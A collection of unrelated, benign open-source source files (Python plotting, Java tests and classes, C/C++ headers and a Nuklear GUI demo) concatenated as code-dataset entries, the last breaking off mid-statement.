<filename>python/plotting/plot_soft_contact.py #!/usr/bin/python # # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import from matplotlib import cm import numpy as np import pydiffphys from pydiffphys import TinyMultiBodyConstraintSolverSpring as SoftContactModel model = SoftContactModel() model.smoothing_method = pydiffphys.SMOOTH_VEL_NONE model.exponent_n_air = 1e-6 model.exponent_vel_air = 1e-6 # model.damper_d = 100000 @np.vectorize def normal_force(penetration, penetration_vel): return model.compute_contact_force(penetration, penetration_vel) fig = plt.figure() ax = fig.gca(projection='3d') ax.set_title("Contact Normal Force") # Make data. X = np.arange(-5, 5, 0.25) Y = np.arange(-5, 5, 0.25) X, Y = np.meshgrid(X, Y) Z = normal_force(X, Y) # Plot the surface. surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm, linewidth=0, antialiased=False) ax.set_xlabel("Penetration") ax.set_ylabel("Penetration Velocity") # Add a color bar which maps values to colors. # fig.colorbar(surf, shrink=0.5, aspect=5) plt.show()
597
7,442
<filename>Example/ZFPlayer/TableView/Model/ZFTableData.h // // ZFTableData.h // ZFPlayer // // Created by 紫枫 on 2018/4/24. // Copyright © 2018年 紫枫. All rights reserved. // #import <Foundation/Foundation.h> #import <UIKit/UIKit.h> @interface ZFTableData : NSObject @property (nonatomic, copy) NSString *nick_name; @property (nonatomic, copy) NSString *head; @property (nonatomic, assign) NSInteger agree_num; @property (nonatomic, assign) NSInteger share_num; @property (nonatomic, assign) NSInteger post_num; @property (nonatomic, copy) NSString *title; @property (nonatomic, assign) CGFloat thumbnail_width; @property (nonatomic, assign) CGFloat thumbnail_height; @property (nonatomic, assign) CGFloat video_duration; @property (nonatomic, assign) CGFloat video_width; @property (nonatomic, assign) CGFloat video_height; @property (nonatomic, copy) NSString *thumbnail_url; @property (nonatomic, copy) NSString *video_url; @end
327
317
<filename>include/edyn/serialization/entt_s11n.hpp<gh_stars>100-1000 #ifndef EDYN_SERIALIZATION_ENTT_S11N_HPP #define EDYN_SERIALIZATION_ENTT_S11N_HPP #include <entt/entity/fwd.hpp> #include <entt/entity/entity.hpp> namespace edyn { template<typename Archive> void serialize(Archive &archive, entt::entity &entity) { if constexpr(Archive::is_input::value) { std::underlying_type_t<entt::entity> i; archive(i); entity = entt::entity{i}; } else { auto i = entt::to_integral(entity); archive(i); } } } #endif // EDYN_SERIALIZATION_ENTT_S11N_HPP
278
17,481
<filename>javatests/dagger/internal/codegen/ConflictingEntryPointsTest.java /* * Copyright (C) 2018 The Dagger Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package dagger.internal.codegen; import static com.google.testing.compile.CompilationSubject.assertThat; import static dagger.internal.codegen.Compilers.daggerCompiler; import static dagger.internal.codegen.TestUtils.message; import com.google.testing.compile.Compilation; import com.google.testing.compile.JavaFileObjects; import javax.tools.JavaFileObject; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; @RunWith(JUnit4.class) public final class ConflictingEntryPointsTest { @Test public void covariantType() { JavaFileObject base1 = JavaFileObjects.forSourceLines( "test.Base1", // "package test;", "", "interface Base1 {", " Long foo();", "}"); JavaFileObject base2 = JavaFileObjects.forSourceLines( "test.Base2", // "package test;", "", "interface Base2 {", " Number foo();", "}"); JavaFileObject component = JavaFileObjects.forSourceLines( "test.TestComponent", "package test;", "", "import dagger.BindsInstance;", "import dagger.Component;", "", "@Component", "interface TestComponent extends Base1, Base2 {", "", " @Component.Builder", " interface Builder {", " @BindsInstance Builder foo(Long foo);", " @BindsInstance Builder foo(Number foo);", " TestComponent build();", " }", "}"); Compilation compilation = daggerCompiler().compile(base1, base2, component); assertThat(compilation).failed(); assertThat(compilation) .hadErrorContaining( message( "conflicting entry point declarations:", " Long test.Base1.foo()", " Number test.Base2.foo()")) .inFile(component) .onLineContaining("interface TestComponent "); } @Test public void covariantTypeFromGenericSupertypes() { JavaFileObject base1 = JavaFileObjects.forSourceLines( "test.Base1", // "package test;", "", "interface Base1<T> {", " T foo();", "}"); JavaFileObject base2 = JavaFileObjects.forSourceLines( "test.Base2", // "package test;", "", "interface Base2<T> {", " T foo();", "}"); JavaFileObject component = JavaFileObjects.forSourceLines( "test.TestComponent", "package test;", "", "import dagger.BindsInstance;", "import dagger.Component;", "", "@Component", "interface TestComponent extends Base1<Long>, Base2<Number> {", "", " @Component.Builder", " interface Builder {", " @BindsInstance Builder foo(Long foo);", " @BindsInstance Builder foo(Number foo);", " TestComponent build();", " }", "}"); Compilation compilation = daggerCompiler().compile(base1, base2, component); assertThat(compilation).failed(); assertThat(compilation) .hadErrorContaining( message( "conflicting entry point declarations:", " Long test.Base1.foo()", " Number test.Base2.foo()")) .inFile(component) .onLineContaining("interface TestComponent "); } @Test public void differentQualifier() { JavaFileObject base1 = JavaFileObjects.forSourceLines( "test.Base1", // "package test;", "", "interface Base1 {", " Object foo();", "}"); JavaFileObject base2 = JavaFileObjects.forSourceLines( "test.Base2", // "package test;", "", "import javax.inject.Named;", "", "interface Base2 {", " @Named(\"foo\") Object foo();", "}"); JavaFileObject component = JavaFileObjects.forSourceLines( "test.TestComponent", "package test;", "", "import dagger.BindsInstance;", "import dagger.Component;", "import javax.inject.Named;", "", "@Component", "interface TestComponent extends Base1, Base2 {", "", " @Component.Builder", " interface Builder {", " @BindsInstance Builder foo(Object foo);", " @BindsInstance Builder namedFoo(@Named(\"foo\") Object foo);", " TestComponent build();", " }", "}"); Compilation compilation = daggerCompiler().compile(base1, base2, component); assertThat(compilation).failed(); assertThat(compilation) .hadErrorContaining( message( "conflicting entry point declarations:", " Object test.Base1.foo()", " @Named(\"foo\") Object test.Base2.foo()")) .inFile(component) .onLineContaining("interface TestComponent "); } @Test public void sameKey() { JavaFileObject base1 = JavaFileObjects.forSourceLines( "test.Base1", // "package test;", "", "interface Base1 {", " Object foo();", "}"); JavaFileObject base2 = JavaFileObjects.forSourceLines( "test.Base2", // "package test;", "", "interface Base2 {", " Object foo();", "}"); JavaFileObject component = JavaFileObjects.forSourceLines( "test.TestComponent", "package test;", "", "import dagger.BindsInstance;", "import dagger.Component;", "", "@Component", "interface TestComponent extends Base1, Base2 {", "", " @Component.Builder", " interface Builder {", " @BindsInstance Builder foo(Object foo);", " TestComponent build();", " }", "}"); Compilation compilation = daggerCompiler().compile(base1, base2, component); assertThat(compilation).succeeded(); } @Test public void sameQualifiedKey() { JavaFileObject base1 = JavaFileObjects.forSourceLines( "test.Base1", // "package test;", "", "import javax.inject.Named;", "", "interface Base1 {", " @Named(\"foo\") Object foo();", "}"); JavaFileObject base2 = JavaFileObjects.forSourceLines( "test.Base2", // "package test;", "", "import javax.inject.Named;", "", "interface Base2 {", " @Named(\"foo\") Object foo();", "}"); JavaFileObject component = JavaFileObjects.forSourceLines( "test.TestComponent", "package test;", "", "import dagger.BindsInstance;", "import dagger.Component;", "import javax.inject.Named;", "", "@Component", "interface TestComponent extends Base1, Base2 {", "", " @Component.Builder", " interface Builder {", " @BindsInstance Builder foo(@Named(\"foo\") Object foo);", " TestComponent build();", " }", "}"); Compilation compilation = daggerCompiler().compile(base1, base2, component); assertThat(compilation).succeeded(); } }
4,166
2,996
<reponame>jhong97/Terasology<filename>engine/src/main/java/org/terasology/engine/network/internal/JoinStatusImpl.java // Copyright 2021 The Terasology Foundation // SPDX-License-Identifier: Apache-2.0 package org.terasology.engine.network.internal; import com.google.common.util.concurrent.AtomicDouble; import org.terasology.engine.network.JoinStatus; public class JoinStatusImpl implements JoinStatus { private Status status = Status.IN_PROGRESS; private String currentActivity = ""; private AtomicDouble currentProgress = new AtomicDouble(0); private String errorMessage = ""; public JoinStatusImpl() { } /** * Function sets the Join status error message and sets the status to FAILED. * @param errorMessage */ public JoinStatusImpl(String errorMessage) { this.errorMessage = errorMessage; status = Status.FAILED; } @Override public synchronized Status getStatus() { return status; } @Override public synchronized String getCurrentActivity() { return currentActivity; } /** * Sets the current activity. * @param currentActivity */ public synchronized void setCurrentActivity(String currentActivity) { this.currentActivity = currentActivity; currentProgress.set(0); } @Override public float getCurrentActivityProgress() { return (float) currentProgress.get(); } public void setCurrentProgress(float currentProgress) { this.currentProgress.set(currentProgress); } @Override public synchronized String getErrorMessage() { return errorMessage; } /** * Sets the current error message. * @param errorMessage */ public synchronized void setErrorMessage(String errorMessage) { this.errorMessage = errorMessage; status = Status.FAILED; } /** * Sets the Join Status as complete. */ public synchronized void setComplete() { status = Status.COMPLETE; } }
695
324
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jclouds.sqs.domain; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.base.MoreObjects; import com.google.common.base.Objects; import com.google.common.hash.HashCode; /** * * @see <a * href="http://docs.amazonwebservices.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/MessageLifecycle.html" * >doc</a> */ public class MessageIdAndMD5 { public static Builder builder() { return new Builder(); } public Builder toBuilder() { return builder().fromMessage(this); } public static class Builder { private String id; private HashCode md5; /** * @see MessageIdAndMD5#getId() */ public Builder id(String id) { this.id = id; return this; } /** * @see MessageIdAndMD5#getMD5() */ public Builder md5(HashCode md5) { this.md5 = md5; return this; } public MessageIdAndMD5 build() { return new MessageIdAndMD5(id, md5); } public Builder fromMessage(MessageIdAndMD5 in) { return id(in.getId()).md5(in.getMD5()); } } private final String id; private final HashCode md5; private MessageIdAndMD5(String id, HashCode md5) { this.id = checkNotNull(id, "id"); this.md5 = checkNotNull(md5, "md5 of %s", id); } /** * The message's SQS-assigned ID. */ public String getId() { return id; } /** * An MD5 digest of the non-URL-encoded message body string */ public HashCode getMD5() { return md5; } @Override public int hashCode() { return Objects.hashCode(id); } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null || getClass() != obj.getClass()) return false; MessageIdAndMD5 that = MessageIdAndMD5.class.cast(obj); return Objects.equal(this.id, that.id); } /** * {@inheritDoc} */ @Override public String toString() { return MoreObjects.toStringHelper(this).omitNullValues().add("id", id).add("md5", md5).toString(); } }
1,116
7,892
<filename>src/tracks/ui/CommonTrackPanelCell.cpp /********************************************************************** Audacity: A Digital Audio Editor CommonTrackPanelCell.cpp <NAME> split from TrackPanel.cpp **********************************************************************/ #include "CommonTrackPanelCell.h" #include <wx/cursor.h> #include <wx/event.h> #include <wx/menu.h> #include "../../widgets/BasicMenu.h" #include "BasicUI.h" #include "../../commands/CommandContext.h" #include "../../commands/CommandManager.h" #include "../../HitTestResult.h" #include "../../RefreshCode.h" #include "../../TrackPanelMouseEvent.h" #include "ViewInfo.h" #include "../../widgets/wxWidgetsWindowPlacement.h" namespace { CommonTrackPanelCell::Hook &GetHook() { static CommonTrackPanelCell::Hook theHook; return theHook; } } auto CommonTrackPanelCell::InstallMouseWheelHook( const Hook &hook ) -> Hook { auto &theHook = GetHook(); auto result = theHook; theHook = hook; return result; } CommonTrackPanelCell::~CommonTrackPanelCell() { } HitTestPreview CommonTrackPanelCell::DefaultPreview (const TrackPanelMouseState &, const AudacityProject *) { static wxCursor defaultCursor{ wxCURSOR_ARROW }; return { {}, &defaultCursor, {} }; } auto CommonTrackPanelCell::GetMenuItems( const wxRect&, const wxPoint *, AudacityProject * ) -> std::vector<MenuItem> { return {}; } unsigned CommonTrackPanelCell::DoContextMenu( const wxRect &rect, wxWindow *pParent, const wxPoint *pPoint, AudacityProject *pProject) { const auto items = GetMenuItems( rect, pPoint, pProject ); if (items.empty()) return RefreshCode::RefreshNone; // Set up command context with extras CommandContext context{ *pProject }; SelectedRegion region; if (pPoint) { auto time = ViewInfo::Get(*pProject).PositionToTime(pPoint->x, rect.x); region = { time, time }; context.temporarySelection.pSelectedRegion = &region; } context.temporarySelection.pTrack = FindTrack().get(); auto &commandManager = CommandManager::Get(*pProject); auto flags = MenuManager::Get( *pProject ).GetUpdateFlags(); // Common dispatcher for the menu items auto dispatcher = [&]( wxCommandEvent &evt ){ auto idx = evt.GetId() - 1; if (idx >= 0 && idx < items.size()) { if (auto &action = items[idx].action) action( context ); else commandManager.HandleTextualCommand( items[idx].symbol.Internal(), context, flags, false); } }; wxMenu menu; int ii = 1; for (const auto &item: items) { if ( const auto &commandID = item.symbol.Internal(); commandID.empty() ) menu.AppendSeparator(); else { // Generate a menu item with the same shortcut key as in the toolbar // menu, and as determined by keyboard preferences auto label = commandManager.FormatLabelForMenu( commandID, &item.symbol.Msgid() ); menu.Append( ii, label ); menu.Bind( wxEVT_COMMAND_MENU_SELECTED, dispatcher ); bool enabled = item.enabled && (item.action || commandManager.GetEnabled( commandID )); menu.Enable( ii, enabled ); } ++ii; } BasicUI::Point point; if (pPoint) point = { pPoint->x, pPoint->y }; BasicMenu::Handle{ &menu }.Popup( wxWidgetsWindowPlacement{ pParent }, point ); return RefreshCode::RefreshNone; } unsigned CommonTrackPanelCell::HandleWheelRotation (const TrackPanelMouseEvent &evt, AudacityProject *pProject) { auto hook = GetHook(); return hook ? hook( evt, pProject ) : RefreshCode::Cancelled; } CommonTrackCell::CommonTrackCell( const std::shared_ptr< Track > &parent ) : mwTrack { parent } {} CommonTrackCell::~CommonTrackCell() = default; void CommonTrackCell::CopyTo( Track& ) const { } void CommonTrackCell::Reparent( const std::shared_ptr<Track> &parent ) { mwTrack = parent; } std::shared_ptr<Track> CommonTrackCell::DoFindTrack() { return mwTrack.lock(); } void CommonTrackCell::WriteXMLAttributes( XMLWriter & ) const { } bool CommonTrackCell::HandleXMLAttribute( const wxChar *, const wxChar * ) { return false; }
1,563
118,175
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #pragma once #include <butter/butter.h> #ifdef BUTTER_USE_FOLLY_CONTAINERS #include <folly/container/F14Set.h> #else #include <unordered_set> #endif namespace facebook { namespace butter { #ifdef BUTTER_USE_FOLLY_CONTAINERS template <typename... Ts> using set = folly::F14FastSet<Ts...>; #else template <typename... Ts> using set = std::unordered_set<Ts...>; #endif } // namespace butter } // namespace facebook
216
412
<filename>regression/cbmc/cprover_bool1/main.c #include <assert.h> int main() { int y; __CPROVER_bool x = y; assert(x != (__CPROVER_bool)y); }
71
310
{ "name": "Slimblade", "description": "A trackball with laser sensors.", "url": "https://www.amazon.com/Kensington-Slimblade-Trackball-USB-K72327US/dp/B001MTE32Y" }
68
1,695
<reponame>happybin92/trino /* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.trino.plugin.deltalake.transactionlog.checkpoint; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; import java.math.BigInteger; import java.util.Objects; import java.util.Optional; import static com.google.common.base.MoreObjects.toStringHelper; import static java.util.Objects.requireNonNull; public class LastCheckpoint { private final long version; private final BigInteger size; private final Optional<Integer> parts; @JsonCreator public LastCheckpoint( @JsonProperty("version") long version, @JsonProperty("size") BigInteger size, @JsonProperty("parts") Optional<Integer> parts) { this.version = version; this.size = requireNonNull(size, "size is null"); this.parts = requireNonNull(parts, "parts is null"); } @JsonProperty public long getVersion() { return version; } @JsonProperty public BigInteger getSize() { return size; } @JsonProperty public Optional<Integer> getParts() { return parts; } @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } LastCheckpoint that = (LastCheckpoint) o; return version == that.version && size.equals(that.size) && parts.equals(that.parts); } @Override public int hashCode() { return Objects.hash(version, size, parts); } @Override public String toString() { return toStringHelper(this) .addValue(version) .add("size", size) .add("parts", parts) .toString(); } }
966
22,028
<reponame>shipan3452/algo<filename>c-cpp/09_queue/linked_queue.hpp<gh_stars>1000+ /** * Created by <NAME> (Liam0205) on 2018/10/10. */ #ifndef QUEUE_LINKED_QUEUE_HPP_ #define QUEUE_LINKED_QUEUE_HPP_ #include <memory> template <typename T> struct Node { using ptr_t = std::shared_ptr<Node<T>>; T data; ptr_t next; Node(T data_) : data(data_), next(nullptr) {} Node() : next(nullptr) {} }; template <typename T> class LinkedQueue { public: using node_type = Node<T>; using node_ptr_t = typename node_type::ptr_t; private: node_ptr_t head_ = nullptr; node_ptr_t before_tail_ = nullptr; public: LinkedQueue() = default; ~LinkedQueue() = default; LinkedQueue(const LinkedQueue& other) = default; LinkedQueue& operator=(const LinkedQueue& rhs) = default; LinkedQueue(LinkedQueue&& other) = default; LinkedQueue& operator=(LinkedQueue&& rhs) = default; public: void enqueue(T item) { if (nullptr == head_) { head_ = std::make_shared<node_type>(item); before_tail_ = head_; } else { before_tail_->next = std::make_shared<node_type>(item); before_tail_ = before_tail_->next; } } T head() const { if (nullptr != head_) { return head_->data; } else { throw "Fetch data from an empty queue!"; } } void dequeue() { if (nullptr != head_) { head_ = head_->next; if (nullptr == head_) { before_tail_ = nullptr; } } else { throw "Pop data from an empty queue!"; } } public: template <typename UnaryFunc> void traverse(UnaryFunc do_traverse) { for (node_ptr_t work = head_; nullptr != work; work = work->next) { do_traverse(work->data); } } }; #endif // QUEUE_LINKED_QUEUE_HPP_
927
884
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. from typing import Union, TYPE_CHECKING from cdm.enums import CdmObjectType from cdm.persistence import PersistenceLayer from . import utils from .types import Argument, CdmJsonType if TYPE_CHECKING: from cdm.objectmodel import CdmArgumentDefinition, CdmCorpusContext from cdm.utilities import CopyOptions, ResolveOptions class ArgumentPersistence: @staticmethod def from_data(ctx: 'CdmCorpusContext', data: Union[str, Argument]) -> 'CdmArgumentDefinition': from cdm.utilities import JObject argument = ctx.corpus.make_object(CdmObjectType.ARGUMENT_DEF) # type: CdmArgumentDefinition if isinstance(data, JObject) and data.get('value') is not None: argument.value = utils.create_constant(ctx, data.value) if data.get('name'): argument.name = data.name if data.get('explanation'): argument.explanation = data.explanation else: # Not a structured argument, just a thing. Try it argument.value = utils.create_constant(ctx, data) return argument @staticmethod def to_data(instance: 'CdmArgumentDefinition', res_opt: 'ResolveOptions', options: 'CopyOptions') -> CdmJsonType: from cdm.objectmodel import CdmObject value = None if instance.value is not None: if isinstance(instance.value, CdmObject): value = PersistenceLayer.to_data(instance.value, res_opt, options, PersistenceLayer.CDM_FOLDER) else: value = instance.value # Skip the argument if just a value if not instance.name: return value arg = Argument() arg.explanation = instance.explanation arg.name = instance.name arg.value = value return arg
777
348
{"nom":"Loudun","circ":"4ème circonscription","dpt":"Vienne","inscrits":5256,"abs":2955,"votants":2301,"blancs":149,"nuls":64,"exp":2088,"res":[{"nuance":"UDI","nom":"<NAME>-<NAME>","voix":1070},{"nuance":"MDM","nom":"M. <NAME>","voix":1018}]}
102
480
/* * Copyright [2013-2021], Alibaba Group Holding Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.calcite.sql.type; import org.apache.calcite.rel.type.RelDataTypeSystem; import org.apache.calcite.sql.SqlCollation; import org.apache.calcite.util.SerializableCharset; import java.util.Iterator; import java.util.List; /** * CalciteEnumType * * @author hongxi.chx */ public class EnumSqlType extends AbstractSqlType { //~ Static fields/initializers --------------------------------------------- private final RelDataTypeSystem typeSystem; private final List<String> values; private SqlCollation collation; private SerializableCharset wrappedCharset; /** * Constructs a type with values. * * @param typeName Type name */ public EnumSqlType(RelDataTypeSystem typeSystem, SqlTypeName typeName, List<String> values, SqlCollation collation, SerializableCharset serializableCharset) { super(typeName, true, null); this.typeSystem = typeSystem; this.typeName = typeName; this.values = values; this.collation = collation; this.wrappedCharset = serializableCharset; computeDigest(); } // implement RelDataType @Override public SqlCollation getCollation() { return collation; } // implement RelDataTypeImpl @Override public void generateTypeString(StringBuilder sb, boolean withDetail) { // Called to make the digest, which equals() compares; // so equivalent data types must produce identical type strings. sb.append(typeName.name()); if (values != null) { sb.append('('); final Iterator<String> iterator = values.iterator(); boolean isFirst = true; while (iterator.hasNext()) { if (isFirst) { isFirst = false; } else { sb.append(", "); } final String next = iterator.next(); sb.append(next); } sb.append(')'); } if (!withDetail) { return; } if (wrappedCharset != null) { sb.append(" CHARACTER SET \""); sb.append(wrappedCharset.getCharset().name()); sb.append("\""); } if (collation != null) { sb.append(" COLLATE \""); sb.append(collation.getCollationName()); sb.append("\""); } } public List<String> getStringValues() { return values; } }
1,284
2,226
<reponame>Oasis256/NymphCast<gh_stars>1000+ /* Copyright 2012-2017 <NAME> <<EMAIL>> This file is part of lcdapi. lcdapi is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. lcdapi is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with lcdapi. If not, see <http://www.gnu.org/licenses/>. */ #include <lcdapi/sensors/LCDSystemSensor.h> #include <unistd.h> namespace lcdapi { using namespace std; LCDSystemSensor::LCDSystemSensor(const string &command) : LCDSensor(), _command(command) { } LCDSystemSensor::~LCDSystemSensor() { } void LCDSystemSensor::waitForChange() { sleep(1); } string LCDSystemSensor::getCurrentValue() { return executeCommand(_command); } } // end of lcdapi namespace
374
2,753
<reponame>ShankarNara/shogun<gh_stars>1000+ #include <gtest/gtest.h> #include <fstream> #include <shogun/base/ShogunEnv.h> #include <shogun/io/stream/FileOutputStream.h> using namespace shogun; using namespace std; TEST(FileOutputStream, write) { string fname = "test123"; string_view test_str("asdf"); auto fs_registry = env(); auto r = fs_registry->file_exists(fname); ASSERT_TRUE(r); unique_ptr<io::WritableFile> file; r = fs_registry->new_writable_file(fname, &file); ASSERT_FALSE(r); auto fos = std::make_unique<io::FileOutputStream>(file.get()); r = fos->write(test_str.data(), test_str.size()); ASSERT_FALSE(r); r = fos->close(); ifstream is(fname); char str_in[5]; is.get(&str_in[0], 5); EXPECT_EQ(test_str, string(str_in)); r = fs_registry->delete_file(fname); ASSERT_FALSE(r); }
345
450
package net.openhft.chronicle.core.threads; import net.openhft.affinity.Affinity; import net.openhft.affinity.AffinityLock; import org.junit.Test; import java.util.BitSet; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import static org.junit.Assert.assertEquals; import static org.junit.Assume.assumeTrue; public class CleaningThreadTest { @Test public void cleanupThreadLocal() throws InterruptedException { String threadName = "ctl-test"; BlockingQueue<String> ints = new LinkedBlockingQueue<>(); CleaningThreadLocal<String> counter = CleaningThreadLocal.withCleanup(() -> Thread.currentThread().getName(), ints::add); CleaningThread ct = new CleaningThread(() -> assertEquals(threadName, counter.get()), threadName); ct.start(); String poll = ints.poll(1, TimeUnit.SECONDS); assertEquals(threadName, poll); } @Test public void testRemove() { int[] counter = {0}; CleaningThreadLocal<Integer> ctl = CleaningThreadLocal.withCloseQuietly(() -> counter[0]++); assertEquals(0, (int) ctl.get()); CleaningThread.performCleanup(Thread.currentThread()); assertEquals(1, (int) ctl.get()); } @Test public void resetThreadAffinity() throws InterruptedException { final BitSet affinity = Affinity.getAffinity(); assumeTrue(affinity.cardinality() > 2); assumeTrue(AffinityLock.BASE_AFFINITY.cardinality() > 2); try { Affinity.setAffinity(1); BitSet[] nestedAffinity = {null}; CleaningThread ct = new CleaningThread(() -> nestedAffinity[0] = Affinity.getAffinity()); ct.start(); ct.join(); assertEquals(AffinityLock.BASE_AFFINITY, nestedAffinity[0]); } finally { Affinity.setAffinity(affinity); } } }
786
5,703
/* * * Copyright 2015 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * */ package springfox.documentation.service; import org.springframework.plugin.core.Plugin; import springfox.documentation.annotations.Incubating; import springfox.documentation.spi.service.contexts.DocumentationContext; import springfox.documentation.spi.service.contexts.PathContext; import java.util.function.Function; /** * Path decorator is useful to create transformations from a given path based on * the RequestMappingContext. This is an experimental feature */ @Incubating("2.1.0") public interface PathDecorator extends Plugin<DocumentationContext> { Function<String, String> decorator(PathContext context); }
342
14,922
/* nuklear - 1.32.0 - public domain */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <string.h> #include <limits.h> #include <time.h> #define WINDOW_WIDTH 800 #define WINDOW_HEIGHT 600 #define NK_INCLUDE_FIXED_TYPES #define NK_INCLUDE_STANDARD_IO #define NK_INCLUDE_STANDARD_VARARGS #define NK_INCLUDE_DEFAULT_ALLOCATOR #define NK_IMPLEMENTATION #define NK_GDIP_IMPLEMENTATION #include "../../nuklear.h" #include "nuklear_gdip.h" /* =============================================================== * * EXAMPLE * * ===============================================================*/ /* This are some code examples to provide a small overview of what can be * done with this library. To try out an example uncomment the defines */ /*#define INCLUDE_ALL */ /*#define INCLUDE_STYLE */ /*#define INCLUDE_CALCULATOR */ /*#define INCLUDE_OVERVIEW */ /*#define INCLUDE_NODE_EDITOR */ #ifdef INCLUDE_ALL #define INCLUDE_STYLE #define INCLUDE_CALCULATOR #define INCLUDE_OVERVIEW #define INCLUDE_NODE_EDITOR #endif #ifdef INCLUDE_STYLE #include "../style.c" #endif #ifdef INCLUDE_CALCULATOR #include "../calculator.c" #endif #ifdef INCLUDE_OVERVIEW #include "../overview.c" #endif #ifdef INCLUDE_NODE_EDITOR #include "../node_editor.c" #endif /* =============================================================== * * DEMO * * ===============================================================*/ static LRESULT CALLBACK WindowProc(HWND wnd, UINT msg, WPARAM wparam, LPARAM lparam) { switch (msg) { case WM_DESTROY: PostQuitMessage(0); return 0; } if (nk_gdip_handle_event(wnd, msg, wparam, lparam)) return 0; return DefWindowProcW(wnd, msg, wparam, lparam); } int main(void) { GdipFont* font; struct nk_context *ctx; WNDCLASSW wc; RECT rect = { 0, 0, WINDOW_WIDTH, WINDOW_HEIGHT }; DWORD style = WS_OVERLAPPEDWINDOW; DWORD exstyle = WS_EX_APPWINDOW; HWND wnd; int running = 1; int needs_refresh = 1; /* Win32 */ memset(&wc, 0, sizeof(wc)); wc.style = CS_DBLCLKS; wc.lpfnWndProc = WindowProc; wc.hInstance = GetModuleHandleW(0); wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.lpszClassName = L"NuklearWindowClass"; RegisterClassW(&wc); AdjustWindowRectEx(&rect, style, FALSE, exstyle); wnd = CreateWindowExW(exstyle, wc.lpszClassName, L"Nuklear Demo", style | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, rect.right - rect.left, rect.bottom - rect.top, NULL, NULL, wc.hInstance, NULL); /* GUI */ ctx = nk_gdip_init(wnd, WINDOW_WIDTH, WINDOW_HEIGHT); font = nk_gdipfont_create("Arial", 12); nk_gdip_set_font(font); /* style.c */ #ifdef INCLUDE_STYLE /*set_style(ctx, THEME_WHITE);*/ /*set_style(ctx, THEME_RED);*/ /*set_style(ctx, THEME_BLUE);*/ /*set_style(ctx, THEME_DARK);*/ #endif while (running) { /* Input */ MSG msg; nk_input_begin(ctx); if (needs_refresh == 0) { if (GetMessageW(&msg, NULL, 0, 0) <= 0) running = 0; else { TranslateMessage(&msg); DispatchMessageW(&msg); } needs_refresh = 1; } else needs_refresh = 0; while (PeekMessageW(&msg, NULL, 0, 0, PM_REMOVE)) { if (msg.message == WM_QUIT) running = 0; TranslateMessage(&msg); DispatchMessageW(&msg); needs_refresh = 1; } nk_input_end(ctx); /* GUI */ if (nk_begin(ctx, "Demo", nk_rect(50, 50, 200, 200), NK_WINDOW_BORDER|NK_WINDOW_MOVABLE|NK_WINDOW_SCALABLE| NK_WINDOW_CLOSABLE|NK_WINDOW_MINIMIZABLE|NK_WINDOW_TITLE)) { enum {EASY, HARD}; static int op = EASY; static int property = 20; nk_layout_row_static(ctx, 30, 80, 1); if (nk_button_label(ctx, "button")) fprintf(stdout, 